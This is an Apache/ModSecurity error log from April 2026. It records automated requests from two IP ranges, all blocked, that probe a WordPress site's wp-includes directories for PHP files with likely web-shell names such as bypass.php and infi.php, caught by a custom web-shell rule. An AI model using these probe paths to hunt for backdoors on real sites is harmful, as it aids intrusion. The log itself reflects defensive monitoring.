[Thu Apr 23 09:51:48.592624 2026] [:error] [pid 64998:tid 65018] [client 91.230.225.202:44371] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/infi.php"] [unique_id "ael7NIV5EysYcTLjmwhsmgAAAdA"]
[Thu Apr 23 09:51:49.675858 2026] [:error] [pid 42971:tid 43001] [client 185.192.71.40:26079] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "ael7NTEP2_5RswrH8bHSeQAAAA8"]
[Thu Apr 23 09:51:51.103140 2026] [:error] [pid 59700:tid 59714] [client 185.192.71.33:39485] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "ael7N5XyGZJFeAIDWtmLBQAAAUw"]
[Thu Apr 23 09:51:51.640770 2026] [:error] [pid 64967:tid 64983] [client 91.230.225.200:62665] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/index.php"] [unique_id "ael7N4AV4GfOOdX8QzoozwAAAY4"]
[Thu Apr 23 09:51:53.598682 2026] [:error] [pid 42971:tid 43000] [client 185.192.71.26:26417] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "ael7OTEP2_5RswrH8bHSjAAAAA4"]
[Thu Apr 23 09:51:54.425346 2026] [:error] [pid 65000:tid 65038] [client 185.192.71.31:21127] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/about.php"] [unique_id "ael7Or6vRb9j6psK2Zb0DwAAAgU"]
[Thu Apr 23 09:51:55.950861 2026] [:error] [pid 42971:tid 43003] [client 91.230.225.208:53219] [client 91.230.225.208] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit.php"] [unique_id "ael7OzEP2_5RswrH8bHSmgAAABE"]
[Thu Apr 23 09:51:57.376480 2026] [:error] [pid 42971:tid 43003] [client 91.230.225.22:26685] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/wp-work.php"] [unique_id "ael7PTEP2_5RswrH8bHStwAAABE"]
[Thu Apr 23 09:51:58.555988 2026] [:error] [pid 42973:tid 43064] [client 185.192.71.40:44793] [client 185.192.71.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/click.php"] [unique_id "ael7Pm6I0QqmmmLTHE3qnwAAAJU"]
[Thu Apr 23 09:51:59.982065 2026] [:error] [pid 42973:tid 43058] [client 91.230.225.22:59365] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/random_compat/chosen.php"] [unique_id "ael7P26I0QqmmmLTHE3quQAAAI8"]
[Thu Apr 23 09:52:02.642672 2026] [:error] [pid 25635:tid 25650] [client 91.230.225.202:52509] [client 91.230.225.202] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/bypass.php"] [unique_id "ael7QsRxv6UsgRGKB3Lz6QAAAQs"]
[Thu Apr 23 09:52:03.194795 2026] [:error] [pid 64998:tid 65015] [client 91.230.225.12:20225] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/xl2023.php"] [unique_id "ael7Q4V5EysYcTLjmwhtNAAAAc0"]
[Thu Apr 23 09:52:08.185106 2026] [:error] [pid 59700:tid 59722] [client 91.230.225.21:41129] [client 91.230.225.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/admin.php"] [unique_id "ael7SJXyGZJFeAIDWtmL1AAAAVQ"]
[Thu Apr 23 09:52:08.821645 2026] [:error] [pid 65000:tid 65050] [client 185.192.71.31:58379] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/dog.php"] [unique_id "ael7SL6vRb9j6psK2Zb0owAAAhE"]
[Thu Apr 23 09:52:09.690395 2026] [:error] [pid 42971:tid 42998] [client 185.192.71.33:27407] [client 185.192.71.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/applicationd.php"] [unique_id "ael7STEP2_5RswrH8bHTIgAAAAw"]
[Thu Apr 23 09:52:10.313807 2026] [:error] [pid 42972:tid 43019] [client 185.92.25.114:64001] [client 185.92.25.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "ael7SsOAb-3sOknsk4c72AAAAEM"]
[Thu Apr 23 09:52:11.512288 2026] [:error] [pid 65000:tid 65053] [client 91.230.225.20:40265] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ael7S76vRb9j6psK2Zb0twAAAhQ"]
[Thu Apr 23 09:52:12.487671 2026] [:error] [pid 42972:tid 43026] [client 91.230.225.10:27603] [client 91.230.225.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "ael7TMOAb-3sOknsk4c7_wAAAEo"]
[Thu Apr 23 09:52:13.026520 2026] [:error] [pid 65000:tid 65056] [client 91.230.225.198:42127] [client 91.230.225.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "ael7Tb6vRb9j6psK2Zb0wgAAAhc"]
[Thu Apr 23 09:52:13.562319 2026] [:error] [pid 43083:tid 43086] [client 185.192.71.31:36371] [client 185.192.71.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "ael7TTC5hrvNXosL83IOSAAAAME"]
[Thu Apr 23 09:52:14.404543 2026] [:error] [pid 64967:tid 64983] [client 91.230.225.15:23155] [client 91.230.225.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "ael7ToAV4GfOOdX8QzopdgAAAY4"]
[Thu Apr 23 09:52:15.514249 2026] [:error] [pid 42972:tid 43021] [client 91.230.225.19:32583] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "ael7T8OAb-3sOknsk4c8SAAAAEU"]
[Thu Apr 23 09:52:17.277198 2026] [:error] [pid 64998:tid 65023] [client 91.230.225.203:32583] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "ael7UYV5EysYcTLjmwht3QAAAdU"]
[Thu Apr 23 09:52:19.812870 2026] [:error] [pid 64967:tid 64988] [client 185.192.71.26:21773] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "ael7U4AV4GfOOdX8QzopiQAAAZM"]
[Thu Apr 23 09:52:21.212290 2026] [:error] [pid 59700:tid 59707] [client 91.230.225.19:43065] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "ael7VZXyGZJFeAIDWtmMUQAAAUU"]
[Thu Apr 23 09:52:21.760002 2026] [:error] [pid 59700:tid 59712] [client 91.230.225.17:25475] [client 91.230.225.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "ael7VZXyGZJFeAIDWtmMWQAAAUo"]
[Thu Apr 23 09:52:23.487303 2026] [:error] [pid 42972:tid 43028] [client 91.230.225.207:61647] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "ael7V8OAb-3sOknsk4c8swAAAEw"]
[Thu Apr 23 09:52:24.979301 2026] [proxy_fcgi:error] [pid 42972:tid 43018] [client 91.230.225.206:25899] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:25.273293 2026] [proxy_fcgi:error] [pid 42972:tid 43017] [client 91.230.225.206:25899] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:25.568342 2026] [proxy_fcgi:error] [pid 42972:tid 43033] [client 91.230.225.206:25899] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:52:27.046040 2026] [:error] [pid 42972:tid 43031] [client 91.230.225.206:25899] [client 91.230.225.206] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "ael7W8OAb-3sOknsk4c81AAAAE8"]
[Thu Apr 23 09:52:27.619168 2026] [:error] [pid 43083:tid 43105] [client 91.230.225.12:55905] [client 91.230.225.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "ael7WzC5hrvNXosL83IOvwAAANQ"]
[Thu Apr 23 09:52:28.176549 2026] [:error] [pid 64998:tid 65013] [client 91.230.225.205:43981] [client 91.230.225.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "ael7XIV5EysYcTLjmwhuowAAAcs"]
[Thu Apr 23 09:52:29.777361 2026] [:error] [pid 59700:tid 59712] [client 91.230.225.200:28833] [client 91.230.225.200] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "ael7XZXyGZJFeAIDWtmMiQAAAUo"]
[Thu Apr 23 09:52:30.349097 2026] [:error] [pid 64998:tid 65021] [client 91.230.225.16:27655] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "ael7XoV5EysYcTLjmwhuvAAAAdM"]
[Thu Apr 23 09:52:30.907950 2026] [:error] [pid 42971:tid 43006] [client 185.192.71.25:57965] [client 185.192.71.25] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "ael7XjEP2_5RswrH8bHTlgAAABQ"]
[Thu Apr 23 09:52:32.874199 2026] [:error] [pid 64998:tid 65008] [client 91.230.225.203:28671] [client 91.230.225.203] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "ael7YIV5EysYcTLjmwhu0wAAAcY"]
[Thu Apr 23 09:52:33.410159 2026] [:error] [pid 65000:tid 65030] [client 91.230.225.11:45567] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "ael7Yb6vRb9j6psK2Zb1cwAAAgE"]
[Thu Apr 23 09:52:33.952398 2026] [:error] [pid 43083:tid 43105] [client 185.192.71.26:29667] [client 185.192.71.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "ael7YTC5hrvNXosL83IO8QAAANQ"]
[Thu Apr 23 09:52:34.522279 2026] [:error] [pid 64998:tid 65025] [client 91.230.225.19:50947] [client 91.230.225.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "ael7YoV5EysYcTLjmwhu4gAAAdc"]
[Thu Apr 23 09:52:35.712425 2026] [:error] [pid 64998:tid 65016] [client 91.230.225.201:27851] [client 91.230.225.201] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "ael7Y4V5EysYcTLjmwhvBQAAAc4"]
[Thu Apr 23 09:52:36.560055 2026] [:error] [pid 42971:tid 42992] [client 185.192.71.23:36553] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "ael7ZDEP2_5RswrH8bHT0gAAAAY"]
[Thu Apr 23 09:52:37.746920 2026] [:error] [pid 42972:tid 43037] [client 91.230.225.20:43759] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "ael7ZcOAb-3sOknsk4c9IwAAAFU"]
[Thu Apr 23 09:52:38.871728 2026] [:error] [pid 42973:tid 43050] [client 91.230.225.16:51741] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "ael7Zm6I0QqmmmLTHE3rwQAAAIc"]
[Thu Apr 23 09:52:40.294016 2026] [:error] [pid 64998:tid 65023] [client 91.230.225.14:24257] [client 91.230.225.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "ael7aIV5EysYcTLjmwhvfwAAAdU"]
[Thu Apr 23 09:52:41.987405 2026] [:error] [pid 64998:tid 65025] [client 185.192.71.23:50795] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "ael7aYV5EysYcTLjmwhvpgAAAdc"]
[Thu Apr 23 09:52:42.831791 2026] [:error] [pid 64998:tid 65015] [client 185.192.71.24:49835] [client 185.192.71.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "ael7aoV5EysYcTLjmwhvrwAAAc0"]
[Thu Apr 23 09:52:48.128253 2026] [:error] [pid 64967:tid 64971] [client 185.192.71.29:54269] [client 185.192.71.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "ael7cIAV4GfOOdX8QzoqlAAAAYI"]
[Thu Apr 23 09:52:48.692698 2026] [:error] [pid 65000:tid 65045] [client 91.230.225.16:43761] [client 91.230.225.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "ael7cL6vRb9j6psK2Zb2HgAAAgw"]
[Thu Apr 23 09:52:49.551297 2026] [:error] [pid 64998:tid 65016] [client 91.230.225.20:29809] [client 91.230.225.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "ael7cYV5EysYcTLjmwhwFQAAAc4"]
[Thu Apr 23 09:52:50.679316 2026] [:error] [pid 65000:tid 65049] [client 91.230.225.197:48861] [client 91.230.225.197] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "ael7cr6vRb9j6psK2Zb2MgAAAhA"]
[Thu Apr 23 09:52:51.286485 2026] [:error] [pid 65000:tid 65057] [client 91.230.225.22:49053] [client 91.230.225.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ael7c76vRb9j6psK2Zb2OAAAAhg"]
[Thu Apr 23 09:52:53.044309 2026] [:error] [pid 65000:tid 65042] [client 185.192.71.24:41657] [client 185.192.71.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ael7db6vRb9j6psK2Zb2TgAAAgk"]
